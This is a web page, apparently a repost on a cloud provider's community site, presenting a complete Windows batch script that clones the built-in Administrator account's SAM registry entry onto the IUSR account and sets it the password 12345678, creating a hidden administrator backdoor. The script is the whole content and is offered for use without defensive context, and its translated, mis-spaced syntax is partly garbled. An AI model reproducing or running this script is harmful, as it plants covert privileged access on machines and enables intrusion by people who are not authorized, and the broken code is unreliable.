Windows copy hidden account full batch processing

Source: Internet
Author: User

Copy codeThe Code is as follows: echo off
Setlocal enabledelayedexpansion
Echo % computername %
Echo HKEY_LOCAL_MACHINE \ SAM [1 17]> "% windir % \ .. \ 1.reg"
Regini "% windir % \ .. \ 1.reg"
Regedit/e "% windir % \ .. \ 1.reg" HKEY_LOCAL_MACHINE \ SAM \ Domains \ Account \ Users \ Names \ IUSR _ % computername %
Rem unicode-> ascii
Type "% windir % \ .. \ 1.reg">" % windir % \ .. \ 2.reg"
Del/q "% windir % \ .. \ 1.reg"
Id of rem find IUSR _ % computername %
For/F "delims = (tokens = 1-5 * skip = 3" % a in (% windir % \ .. \ 2.reg) do set iusr_id = % B
Del/q "% windir % \ .. \ 2.reg"
Rem export administrator register
Regedit/e "% windir % \ .. \ 1.reg" HKEY_LOCAL_MACHINE \ SAM \ Domains \ Account \ Users \ 000001F4
Type "% windir % \ .. \ 1.reg">" % windir % \ .. \ 2.reg"
Del/q "% windir % \ .. \ 1.reg"
Rem replace 1fx-> iusr_id
For/f "tokens = * delims =:" % I in (% windir % \ .. \ 2.reg) do (
For/f "tokens = *" % j in ("% I") do (
Set TMP = % j
Set "TMP =! TMP: 000001F4 = 00000% iusr_id :~ 0, 3%! "
Echo! TMP!> % Windir % \ .. \ 1.reg
)
)
Regedit/s % windir % \ .. \ 1.reg
Del/q % windir % \ .. \ 1.reg
Del/q % windir % \ .. \ 2.reg
Echo HKEY_LOCAL_MACHINE \ SAM [17]> "% windir % \ .. \ 1.reg"
Regini "% windir % \ .. \ 1.reg"
Del/q "% windir % \ .. \ 1.reg"
Net user IUSR _ % computername % 12345678

The cloned user name is fixed. You need to change the code if you want to change it.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.